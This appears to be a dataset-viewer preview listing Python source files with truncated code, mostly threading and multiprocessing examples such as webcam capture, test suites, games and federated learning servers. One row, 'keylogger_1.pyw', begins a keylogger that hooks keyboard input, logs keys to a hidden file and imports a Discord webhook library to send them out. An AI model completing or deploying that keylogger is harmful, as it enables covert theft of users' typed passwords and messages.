source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
webcam.py | # -*- coding: utf-8 -*-
"""
Created on Sat Oct 5 14:49:59 2019
@author: Santi
"""
import cv2
from threading import Thread
class Webcam:
def __init__(self):
self.video_capture = cv2.VideoCapture(0)
self.current_frame = self.video_capture.read()[1]
self.started = Fals... |
multiple_instances.py | #!/usr/bin/env python3
from __future__ import print_function
from random import choice
from vizdoom import *
# For multiplayer game use process (ZDoom's multiplayer sync mechanism prevents threads to work as expected).
from multiprocessing import Process
# For singleplayer games threads can also be used.
# from thre... |
benchmark-gym.py | # Copyright (c) 2017-present, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# File: benchmark-gym.py
# Author: Yuxin Wu <ppwwyyxxc@gmail.com>
import... |
serveravg.py | from flcore.clients.clientavg import clientAVG
from flcore.servers.serverbase import Server
from threading import Thread
class FedAvg(Server):
def __init__(self, args, times):
super().__init__(args, times)
# select slow clients
self.set_slow_clients()
self.set_clients(args, client... |
test_util.py | # -*- coding: utf-8 -*-
# Licensed under a 3-clause BSD style license - see LICENSE.rst
from __future__ import (absolute_import, division, print_function,
unicode_literals)
import io
import locale
import os
import sys
import shutil
import pickle
import multiprocessing
import threading
import t... |
Chess_v0_10_work_in_progress.py | import multiprocessing
import threading
import pygame
from pygame.locals import *
import os
import os.path
import random
import time
from tkinter import Tk
import math
from copy import deepcopy
import numpy
class Board():
def __init__(self):
self.dark_square = pygame.image.load(os.path.j... |
select_ticket_info.py | # -*- coding=utf-8 -*-
import datetime
import random
import os
import socket
import sys
import threading
import time
import TickerConfig
import wrapcache
from agency.cdn_utils import CDNProxy, open_cdn_file
from config import urlConf, configCommon
from config.TicketEnmu import ticket
from config.configCommon import sea... |
data_API_thread.py | import logging
import sys
import threading
# ---
import pandas as pd
import pickle
import os
from datetime import datetime
from dotenv import load_dotenv
import uvicorn
load_dotenv()
PWD = os.getenv("PWD")
import sys
sys.path.insert(1, f'{PWD}\\modules')
import time
import logging
from thread_module import ThreadMod... |
delivery.py | from threading import Thread
from typing import Dict, Callable, Any
import sys
import json
import warnings
from time import strftime, gmtime
from urllib.request import (
Request,
ProxyHandler,
build_opener
)
import bugsnag
from bugsnag.event import Event
try:
if sys.version_info < (2, 7):
ra... |
bouncing_ball.py | #!/usr/bin/env python3
"""
MIT License
Copyright (c) 2020 Craig Gowing
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, m... |
index.py | #!/usr/bin/pypy3
#!/usr/bin/python3
import socket
import mysql.connector
from datetime import datetime, timedelta
from threading import Thread
import cgi
def commit(keyword, results, cursor, cnx):
sql1 = "DELETE FROM linkedin WHERE keyword=%s;"
sql2 = "INSERT INTO linkedin VALUES(%s, %s, %s)"
val2 = (
... |
strandtest.py | #!/usr/bin/env python3
# NeoPixel library strandtest example
# Author: Tony DiCola (tony@tonydicola.com)
#
# Direct port of the Arduino NeoPixel library strandtest example. Showcases
# various animations on a strip of NeoPixels.
import argparse
import base64
import hashlib
import json
import logging
import os
import r... |
fc_2015_04_11.py | #!/usr/bin/env python3
# imports go here
from socket import *
from threading import Thread
#
# Free Coding session for 2015-04-11
# Written by Matt Warren
#
# process to provide fibonnaci numbers on socket.
# `nc localhost 25000` to test
def fib(n):
if n == 1 or n == 2:
return 1
else:
return... |
videoloop.py | """
Created on Apr 13, 2017
@author: sgoldsmith
Copyright (c) Steven P. Goldsmith
All rights reserved.
"""
import logging, sys, os, traceback, time, datetime, importlib, threading, cv2, numpy, config, motiondet, observer, observable
class videoloop(observer.observer, observable.observable):
"""This class used... |
test.py | # Mrs
# Copyright 2008-2012 Brigham Young University
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... |
vatsim.py | import threading
from .. import BaseResponder
from ..lib import parse_command, get_url
class Vatsim(BaseResponder):
"""Various VATSIM related features.
Example module config:
"botnet": {
"vatsim": {
"metar_api_url": "http://metar.vatsim.net/metar.php?id=%s",
... |
main_window.py | import re
import os
import sys
import time
import datetime
import traceback
from decimal import Decimal
import threading
import electrum
from electrum.bitcoin import TYPE_ADDRESS
from electrum import WalletStorage, Wallet
from electrum_gui.kivy.i18n import _
from electrum.paymentrequest import InvoiceStore
from electr... |
feeder.py | import os
import threading
import time
import traceback
import numpy as np
import tensorflow as tf
from infolog import log
from sklearn.model_selection import train_test_split
from tacotron.utils.text import text_to_sequence
_batches_per_group = 8
class Feeder:
"""
Feeds batches of data into queue on a background... |
disco.py | import socket
import threading
import signal
import requests
from queue import Queue
from struct import pack,unpack
from json import JSONDecodeError, load, loads, dump, dumps
from binascii import hexlify,unhexlify
import argparse
import logging
import json
import sys
import time
import mrpc
logging.basicConfig(level=l... |
keylogger_1.pyw | from pynput import keyboard
from os import remove, getenv
from os.path import isfile
from threading import Thread
from dhooks import *
from time import sleep
lien = "WEBHOOK"
lien = Webhook(lien)
keys = {}
fichier = f"C:/ProgramData/keys.txt"
if isfile(fichier):
try:
remove(fichier... |
debug_events_writer_test.py | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
data.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import random
import logging
import sys
import numbers
import math
import sklearn
import datetime
import numpy as np
import cv2
import mxnet as mx
from mxnet import ndarray as nd
#from . import _ndar... |
__init__.py | # -*- coding: utf-8 -*-
'''
Set up the Salt integration test suite
'''
# Import Python libs
from __future__ import absolute_import, print_function
import os
import re
import sys
import copy
import json
import time
import stat
import errno
import signal
import shutil
import pprint
import atexit
import socket
import lo... |
multiprocessor.py | from concurrent.futures import ThreadPoolExecutor
from .utils import CountUpDownLatch
import threading
import logging
import multiprocessing
import os
import logging.handlers
from .exceptions import FileNotFoundError
try:
from queue import Empty # Python 3
import _thread
except ImportError:
from Queue ... |
benchmark.py | # -*- coding: utf-8 -*-
import time
import multiprocessing
import numpy as np
NUM_CALLS = 10000
img = np.array([1080, 1920, 3])
def run_sum_server():
from mprpc import RPCServer
class SumServer:
def sum(self, x, y):
return x
server = RPCServer('127.0.0.1', 7777, SumServer())
se... |
pyminer.py | #!/usr/bin/python
#
# Copyright (c) 2011 The Bitcoin developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
import time
import json
import pprint
import hashlib
import struct
import re
import base64
import httplib
import... |
MOSAIC_Chip_Sorter.py | '''
MOSAIC_Chip_Sorter
========
Created by Steven Smiley 3/20/2022
MOSAIC_Chip_Sorter.py is a labeling annotation tool that allows one to identify & fix mislabeled annotation data (chips) in their dataset through the
use of MOSAICs and UMAP quickly.
MOSAIC_Chip_Sorter.py creates mosaics based on the PascalVOC XML a... |
test_worker.py | import unittest
from testfixtures import compare, Replacer
import zmq
import threading
import time
import random
def worker(producer_chanel, collector_chanel):
context = zmq.Context()
# recieve work
consumer_receiver = context.socket(zmq.PULL)
consumer_receiver.connect(producer_chanel)
# send work... |
client.py | import logging
import queue
import socket
import threading
import traceback
import numpy
import pyflac
import select
import sounddevice as sd
import config
logging.basicConfig(
format='%(asctime)s.%(msecs)03d %(levelname)s:\t%(message)s',
level=logging.INFO,
datefmt='%H:%M:%S')
class... |
widget.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
| This file is part of the web2py Web Framework
| Copyrighted by Massimo Di Pierro <mdipierro@cs.depaul.edu>
| License: LGPLv3 (http://www.gnu.org/licenses/lgpl.html)
The widget is called from web2py
----------------------------------
"""
import datetime
import sys
i... |
cganalysis.py | ###############################################################################
# @todo add Pilot2-splash-app disclaimer
# @authors Harsh Bhatia <bhatia4@llnl.gov>
# Helgi I. Ingolfsson <ingolfsson1@llnl.gov>
# Tim Carpenter <carpenter36@llnl.gov>
# Christopher A. Neale <cneale@lanl.gov>... |
test_agent.py | import logging
import socket
import time
from unittest.mock import MagicMock
import pendulum
import pytest
from prefect.agent import Agent
from prefect.engine.state import Scheduled, Failed, Submitted
from prefect.utilities.configuration import set_temporary_config
from prefect.utilities.exceptions import Authorizati... |
process.py | # -*- coding: utf-8 -*-
# Import python libs
from __future__ import absolute_import
import os
import sys
import time
import types
import signal
import subprocess
import logging
import multiprocessing
import multiprocessing.util
import threading
# Import salt libs
import salt.defaults.exitcodes
import salt.utils
impo... |
trezor.py | import traceback
import sys
from typing import NamedTuple, Any
from electrum.util import bfh, bh2u, versiontuple, UserCancelled, UserFacingException
from electrum.bitcoin import TYPE_ADDRESS, TYPE_SCRIPT
from electrum.bip32 import BIP32Node, convert_bip32_path_to_list_of_uint32 as parse_path
from electrum import const... |
pycdb.py | #!/usr/bin/python
from builtins import input, range
import os
import queue
import re
import shlex
import struct
import subprocess
import sys
import threading
import time
PYTHON3 = sys.version_info >= (3, 0)
# breakpoint types
BREAKPOINT_NORMAL = 1
BREAKPOINT_UNRESOLVED = 2
BREAKPOINT_HARDWA... |
frame.py | try:
import requests
except:
requests = None
import io
import os
import re
import sys
import json
import zlib
import time
import hmac
import queue
import shutil
import base64
import hashlib
import tempfile
import traceback
import threading
import tkinter
import inspect
import zipfile
import itertools
import ur... |
__init__.py | from __future__ import annotations
import collections
from datetime import datetime
from decimal import Decimal
from functools import wraps
import operator
import os
import re
import string
from typing import (
TYPE_CHECKING,
Callable,
ContextManager,
Counter,
Iterable,
List,
Type,
)
import... |
api.py | import base64
import threading
from io import BytesIO
from urllib.request import urlopen
from config import *
from flask import Flask, request
from lib import button, led, char
from system import view, init
app = Flask(__name__)
@app.route('/view', methods=['GET'])
def get_view():
return str(view.current())
@... |
tutorial_DPPO.py | """
Distributed Proximal Policy Optimization (DPPO)
----------------------------
A distributed version of OpenAI's Proximal Policy Optimization (PPO).
Workers in parallel to collect data, then stop worker's roll-out and train PPO on collected data.
Restart workers once PPO is updated.
Reference
---------
Emergence of ... |
client.py | import pyxel
from datetime import datetime
from pyxel_server import client
from threading import Thread
class App:
def __init__(self):
self.address = input("Server Address: ")
self.port = input("Server Port: ")
self.clientPort = input("Client Port: ")
self.username = input("Choose U... |
flask_fs_collector.py | import os
import time
from typing import Union, Dict, Callable
from queue import Queue
from threading import Thread
from ding.utils import read_file, save_file, COMM_COLLECTOR_REGISTRY
from ding.utils.file_helper import save_to_di_store
from ding.interaction import Slave, TaskFail
from .base_comm_collector import Base... |
run_websocket_server.py | from multiprocessing import Process
import syft as sy
from syft.workers import WebsocketServerWorker
import torch
import argparse
hook = sy.TorchHook(torch)
def start_proc(participant, kwargs): # pragma: no cover
""" helper function for spinning up a websocket participant """
def target():
server... |
PlotBounary_onlyTrain.py | import pickle
import time
import warnings
import matplotlib
from imblearn.datasets import make_imbalance
from matplotlib.colors import ListedColormap
from sklearn.datasets import make_moons, make_blobs, make_circles, make_classification
from sklearn.preprocessing import StandardScaler
matplotlib.use('Agg')
import mat... |
segments.py | import json
import requests
import logging
import threading
API_KEY = "<enter your edge impulse studio api key here"
projectId = 17193
headers = {
"Accept": "application/json",
"x-api-key": API_KEY
}
def segment(tid, ids):
for sampleId in ids:
url1 = "https://studio.edgeimpulse.com/v1/api/{}/raw... |
train_gcn.py | import argparse
import time
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import numpy as np
from dgl.nn.pytorch import GraphConv
import dgl.multiprocessing as mp
from torch.nn.parallel import DistributedDataParallel
import os
import sys
import samgraph.torch as sam
impo... |
download.py | import os
from urllib.error import URLError
from urllib.error import HTTPError
import requests
import shutil
import tarfile
import minerl
import time
import tqdm
from threading import Thread
from minerl.data.util import download_with_resume
import logging
from minerl.data.version import VERSION_FILE_NAME, DATA_VER... |
unsync.py | import asyncio
import concurrent
import functools
import inspect
import threading
import os
from threading import Thread
from typing import Generic, TypeVar
class unsync(object):
thread_executor = concurrent.futures.ThreadPoolExecutor()
process_executor = None
loop = asyncio.new_event_loop()
thread = ... |
rostest_mock_polly.py | #!/usr/bin/env python3
PKG = 'test_harmoni_tts'
# Common Imports
import unittest, rospy, roslib, sys
#from unittest.mock import Mock, patch
# Specific Imports
from actionlib_msgs.msg import GoalStatus
from harmoni_common_msgs.msg import harmoniAction, harmoniFeedback, harmoniResult
from std_msgs.msg import String
imp... |
base.py | # Base extension
import threading
class Extension:
def __init__(self, config):
self.config = config
self.terminated = False
self.commands = {}
self.working_thread = threading.Thread(target=self.work_base)
def start(self, reply_commands):
self.reply_command, self.reply_code_command = reply_commands
self... |
drive_functions.py | '''
Copyright 2019, David Pierce Walker-Howell, All rights reserved
Author: David Pierce Walker-Howell<piercedhowell@gmail.com>
Last Modified 08/05/2019
Description: This module contains functions to perform basic movements of the
sub that can be utilized in missions.
'''
import sys
import os
import time
i... |
STARServer.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from wsgiref.simple_server import make_server
import sys
import json
import traceback
import datetime
from multiprocessing import Process
from getopt import getopt, GetoptError
from jsonrpcbase import JSONRPCService, InvalidParamsError, KeywordError,\
JSONRPCError, Inva... |
multi_process.py | from __future__ import division, unicode_literals, print_function, absolute_import
import sys
from multiprocessing import Process as mpProcess
from multiprocessing import Queue
import traitlets as tl
import logging
from podpac.core.node import Node
from podpac.core.utils import NodeTrait
from podpac.core.coordinates... |
test_data_node_scale.py | import threading
import time
import pytest
from base.collection_wrapper import ApiCollectionWrapper
from common.common_type import CaseLabel
from common import common_func as cf
from customize.milvus_operator import MilvusOperator
from scale import constants
from pymilvus import connections
from utils.util_log import... |
test_collection.py | import numpy
import pandas as pd
import pytest
from pymilvus import DataType
from base.client_base import TestcaseBase
from utils.util_log import test_log as log
from common import common_func as cf
from common import common_type as ct
from common.common_type import CaseLabel, CheckTasks
from utils.utils import *
from... |
installwizard.py | # Copyright (C) 2018 The Electrum developers
# Distributed under the MIT software license, see the accompanying
# file LICENCE or http://www.opensource.org/licenses/mit-license.php
import os
import threading
from typing import Tuple, List, Callable, Optional, TYPE_CHECKING
from functools import partial
from PyQt5 impo... |
camera.py | import numpy as np
import cv2
from PIL import Image
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Dropout, Flatten
from tensorflow.keras.layers import Conv2D
from tensorflow.keras.optimizers import Adam
from tensorflow.keras.layers import MaxPooling2D
from tensorflow.keras.pr... |
session.py | from slixmpp import ClientXMPP
from slixmpp.exceptions import IqError, IqTimeout
from slixmpp.xmlstream.asyncio import asyncio
from threading import Thread
from menu import menu
import logging
import sys
import uuid
import blessed
# Start the blessed terminal used for UI
term = blessed.Terminal()
# Available statuses... |
ensemble_method.py | """A base class for developing prototype ensemble methods
"""
from __future__ import print_function, division
import os
from datetime import datetime
import shutil
import threading
import time
import warnings
import numpy as np
import pandas as pd
import pyemu
from pyemu.en import ParameterEnsemble,ObservationEnsemble... |
execution.py | import copy
import datetime
import glob
import json
import logging
import os
import shutil
import threading
import time
import traceback
import uuid
from abc import ABC, abstractmethod
from pathlib import Path
from typing import Optional, Tuple, Union
from ludwig.api import LudwigModel
from ludwig.backend import initi... |
idf_monitor.py | #!/usr/bin/env python
#
# esp-idf serial output monitor tool. Does some helpful things:
# - Looks up hex addresses in ELF file with addr2line
# - Reset ESP32 via serial RTS line (Ctrl-T Ctrl-R)
# - Run "make flash" (Ctrl-T Ctrl-F)
# - Run "make app-flash" (Ctrl-T Ctrl-A)
# - If gdbstub output is detected, gdb is automa... |
task_pusher.py | #!/usr/bin/python
from global_var import config, logger
from utils import check_kingship, start_dbpc, trans2json
from threading import Thread
from hbase import *
import time
from pusher import *
from logger import g_logger
def run(queue):
pro = producer()
push = pusher(pro)
while True:
t = queue.get... |
subproc.py | import ctypes
import time
from collections import OrderedDict
from multiprocessing import Array, Pipe, connection
from multiprocessing.context import Process
from typing import Any, Callable, List, Optional, Tuple, Union
import gym
import numpy as np
from tianshou.env.utils import CloudpickleWrapper
from tianshou.env... |
GUI_ItemInfo.py | import lib.Settings as settings
from lib.Locale import _
from lib.Locale import locCurrency
from lib.Locale import locDate
import os
import math
import threading
import platform
from tkinter import *
from tkinter import messagebox
from lib.Widgets import Frame_
from lib.Widgets import LabelButton_
from lib.Wid... |
016-threading-multiprocessing.py | # process: an instance of a program
# thread: an entity of a process
# GIL ,global interpreter lock
from multiprocessing import Process
import os,time
from threading import Thread
def square_numbers():
for i in range(100):
i *= i
time.sleep(0.1)
process = []
num_process = os.cpu_count()
if __n... |
coref_model.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import operator
import random
import math
import json
import threading
import numpy as np
import tensorflow as tf
import tensorflow_hub as hub
import h5py
import util
import coref_ops
import conll
im... |
debugger_unittest.py | from collections import namedtuple
from contextlib import contextmanager
import json
try:
from urllib import quote, quote_plus, unquote_plus
except ImportError:
from urllib.parse import quote, quote_plus, unquote_plus # @UnresolvedImport
import re
import socket
import subprocess
import threading
import time
i... |
async_mathplot.py | import threading
import time
import numpy as np
from matplotlib import pyplot as plt
from matplotlib.figure import Figure
from matplotlib.widgets import Slider, Button
import logging
logging.basicConfig(level=logging.DEBUG,
format='(%(threadName)-9s) %(message)s',)
class MyFigure(Figure):
def ... |
test_browser.py | # coding=utf-8
# Copyright 2013 The Emscripten Authors. All rights reserved.
# Emscripten is available under two separate licenses, the MIT license and the
# University of Illinois/NCSA Open Source License. Both these licenses can be
# found in the LICENSE file.
from __future__ import print_function
import argparse
... |
csv_to_mr.py | # Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... |
_test_multiprocessing.py | #
# Unit tests for the multiprocessing package
#
import unittest
import unittest.mock
import queue as pyqueue
import time
import io
import itertools
import sys
import os
import gc
import errno
import signal
import array
import socket
import random
import logging
import subprocess
import struct
import operator
import p... |
wsgi.py | """
WSGI config for eszone_ipf project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.7/howto/deployment/wsgi/
"""
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "eszone_ipf.settings")
import sys
i... |
session_test.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
main_window.py | #!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2012 thomasv@gitorious
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including witho... |
__init__.py | import logging
import time
from abc import ABC, abstractmethod
from copy import deepcopy
from enum import IntEnum
from threading import Thread, Lock
from typing import List, Callable, Optional
import RPi.GPIO as gpio
def setup():
"""
Set up the GPIO interface.
"""
gpio.setmode(gpio.BOARD)
def clea... |
kubeless.py | #!/usr/bin/env python
import os
import imp
import datetime
from multiprocessing import Process, Queue
import bottle
import prometheus_client as prom
try:
import queue
except:
import Queue as queue
mod = imp.load_source('function',
'/kubeless/%s.py' % os.getenv('MOD_NAME'))
func = getat... |
isolation_levels.py | #!/usr/bin/env python
import logging
import sqlite3
import sys
import threading
import time
logging.basicConfig(level=logging.DEBUG,
format='%(asctime)s (%(threadName)-10s) %(message)s',
)
db_filename = 'todo.db'
isolation_level = sys.argv[1]
def writer():
my_name = thre... |
p2p.py | import socket
import threading
from lib.comms import StealthConn
from lib.files import p2p_download_file
# Keep track of where our server is
# This is primarily so we don't try to talk to ourselves
server_port = 1337
def find_bot():
print("Finding another bot...")
port = 1337
conn = socket.socket(socket.AF_INE... |
pipeline.py | # Copyright 2006-2012 Mark Diekhans
"""
Process pipelines constructed as a DAG.
"""
import os, sys, fcntl, signal, errno, threading, traceback, pickle, time
from . import fifo, trace, strOps
from tools import PycbioException
try:
MAXFD = os.sysconf("SC_OPEN_MAX")
except OSError:
MAXFD = 256
def _getSigName(n... |
test_pythonflow.py | # Copyright 2017 Spotify AB
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
shcommon.py | # -*- coding: utf-8 -*-
"""
The Control, Escape and Graphics are taken from pyte (https://github.com/selectel/pyte)
"""
import os
import sys
import platform
import functools
import threading
import ctypes
from itertools import chain
IN_PYTHONISTA = sys.executable.find('Pythonista') >= 0
if IN_PYTHONISTA:
import p... |
test_statsd.py | import os
import socketserver
import time
from threading import Thread
import pytest
from statsd import StatsClient
from sklearn_instrumentation import SklearnInstrumentor
from sklearn_instrumentation.instruments.statsd import StatsdTimer
# global var to store udp data
received = ""
class StatsUDPHandler(socketser... |
multiplexer.py | from __future__ import absolute_import
from __future__ import unicode_literals
from threading import Thread
from six.moves import _thread as thread
try:
from Queue import Queue, Empty
except ImportError:
from queue import Queue, Empty # Python 3.x
from compose.cli.signals import ShutdownException
STOP = o... |
HernandezVictor.py | from threading import Semaphore, Thread
from random import random
from time import sleep
global serfs
global hackers
global balsas
global pasajeros
def serf(hilo):
global serfs
global hackers
self.mutex_cola = Semaphore(1)
self.serfs_cola = Semaphore(0)
self.hackers_cola = Semaphore(0)
mutex... |
common_utils.py | r"""Importing this file must **not** initialize CUDA context. test_distributed
relies on this assumption to properly run. This means that when this is imported
no CUDA calls shall be made, including torch.cuda.device_count(), etc.
torch.testing._internal.common_cuda.py can freely initialize CUDA context when imported.... |
io.py | # -*- coding: utf-8 -*-
# Copyright (C) 2012 Anaconda, Inc
# SPDX-License-Identifier: BSD-3-Clause
from __future__ import absolute_import, division, print_function, unicode_literals
from collections import defaultdict
from concurrent.futures import ThreadPoolExecutor, _base, as_completed
from concurrent.futures.thread... |
main_window.py | #!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2012 thomasv@gitorious
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including witho... |
client_console.py | import sys
from .client import User
from .handlers import ConsoleReceiver
import threading
try:
addr = sys.argv[1]
except IndexError:
addr = 'localhost'
try:
port = int(sys.argv[2])
except IndexError:
port = 7777
except ValueError:
print('Порт должен быть целым числом')
sys.exit()
try:
na... |
dotproduct.mp.py | import os
import sys
import time
import numpy
import multiprocessing
from multiprocessing import Queue
size = 2000000
number_processes = 4
chuck_size = size / number_processes
a = numpy.full(size, 1.0, dtype = numpy.float64)
b = numpy.full(size, 1.0, dtype = numpy.float64)
q = Queue()
processes = [ ]
def dotproduct... |
dataclient.py | """This file implements a threaded stream controller to abstract a data stream
back to the ray clientserver.
"""
import logging
import queue
import threading
import grpc
from typing import Any
from typing import Dict
import ray.core.generated.ray_client_pb2 as ray_client_pb2
import ray.core.generated.ray_client_pb2_g... |
ConcurrencyHelper.py | #!/usr/bin/python3
# Author: Roberto Plaza Romero
from threading import Thread
import time
class ConcurrentForVoidReturn:
def __init__(self, funct, values, max_threads):
self.funct = funct
self.values = values
self.max_threads = max_threads
def run(self):
threads ... |
cambot_views.py | from flask import Blueprint, render_template, redirect, url_for
from mytools import detecter_cam
from threading import Thread
from studycam import db
from studycam.models import User, StudyLog
from flask import session, g
import datetime as dt
DEFAULT_LECTURE_ID = 1
DEFAULT_TEACHER_ID = 1
DEFAULT_STUDENT_ID = 2
bp ... |
build_automata.py | from streaming_event_compliance import app
from pm4py.objects.log.importer.xes import factory as xes_importer
from pm4py.objects.log import transform
from streaming_event_compliance.services.build_automata import case_thread
import threading
from streaming_event_compliance.database import dbtools
from streaming_event_c... |
collective_ops_test.py | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... |
etcd_client_test.py | # Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
GridEyeKit.py | # -*- coding: utf-8 -*-
"""
Created on Sun Sep 06 18:17:12 2015
@author: 70E0481
"""
import serial
import sys
import struct
import numpy as np
import threading
from queue import Queue
import glob
from time import sleep
class GridEYEKit():
def __init__(self):
self._connected = False
self.ser = ser... |
test_pye_performance.py | #!/usr/bin/env python
#
# Copyright 2015 Falldog Hsieh <falldog7@gmail.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requi... |
qactabase.py | import datetime
import json
import os
import re
import sys
import threading
import time
import copy
import uuid
import pandas as pd
import pymongo
import requests
from qaenv import (eventmq_amqp, eventmq_ip, eventmq_password, eventmq_port,
eventmq_username, mongo_ip, mongo_uri)
import QUANTAXIS as ... |
synchronized_lights.py | #!/usr/bin/env python
#
# Licensed under the BSD license. See full license in LICENSE file.
# http://www.lightshowpi.org/
#
# Author: Todd Giles (todd@lightshowpi.org)
# Author: Chris Usey (chris.usey@gmail.com)
# Author: Ryan Jennings
# Author: Paul Dunn (dunnsept@gmail.com)
# Author: Tom Enos (tomslick.ca@gmail.com)... |
backend.py | #!/usr/bin/env python
__author__ = "Rodrigue Chakode"
__copyright__ = "Copyright 2019 Rodrigue Chakode and contributors"
__credits__ = ["Rodrigue Chakode and contributors"]
__license__ = "Apache"
__version__ = "2.0"
__maintainer__ = "Rodrigue Chakode"
__email__ = "Rodrigue Chakode <rodrigue.chakode @ gmail dot com"
__s... |
remoterunner.py | ####################################################################################################
##
## Project: Embedded Learning Library (ELL)
## File: remoterunner.py
## Authors: Chris Lovett, Chuck Jacobs
##
## Requires: Python 3.x
##
####################################################################... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.